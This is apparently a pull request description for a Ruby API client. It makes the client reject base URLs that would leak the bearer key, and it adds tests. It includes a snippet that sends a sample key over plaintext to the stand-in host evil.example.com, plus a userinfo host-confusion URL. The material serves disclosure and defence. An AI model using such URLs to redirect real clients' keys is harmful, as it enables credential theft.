security: reject base URLs that would leak the API key

[simonx1]

Every request carries the key in an Authorization header, and nothing checked where that header was going. base_url is concatenated with endpoint_path and handed to Net::HTTP, which turns TLS on only when the scheme happens to be https:

http.use_ssl = uri.scheme == "https"

So base_url: "http://api.typesafe.ai" — a typo, a copied snippet, a value read from config — sends Bearer <key> in cleartext. Silently. Verified:

client = RubyDecisionModel::Client.new(
  provider: :typesafe, api_key: "sk-SECRET", base_url: "http://evil.example.com", ...
)
client.ask(state: "x", questions: { "q" => Questions.noul("Is it?") })
# url  => "http://evil.example.com/v1/systemone"
# Authorization => "Bearer sk-SECRET"   <- over plaintext http

A URL carrying userinfo or a fragment is worse than silent. https://trusted.example@evil.example/p#x reads as trusted.example, resolves to evil.example, and the appended endpoint path lands inside the fragment instead of the request path.

To be clear about what is not wrong: certificate verification is genuinely on for the default transport (Net::HTTP#connect calls SSLContext#set_params, whose DEFAULT_PARAMS are verify_mode: VERIFY_PEER), and redirects are not followed, so Authorization is never forwarded to another host. This is only about the URL the client is pointed at.

The fix

Validate the base URL once, when the client is built, before any key goes out. It has to be an absolute http(s) URL with a host, no userinfo, no query and no fragment, and it has to be https unless the host is loopback (localhost, 127.0.0.1, [::1]), where nothing leaves the machine and local mock servers keep working. Anything else raises ConfigurationError.

The error message rewrites userinfo to ... so a password pasted into a base URL doesn't end up in a backtrace.

Tests

test/base_url_test.rb, 12 cases, including the loopback allowances and the host-confusion URL. Suite green on 3.2.11 / 3.3.8 / 3.4.8.

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One of a series from a security and API-coverage audit. Branches are independent, each off main.

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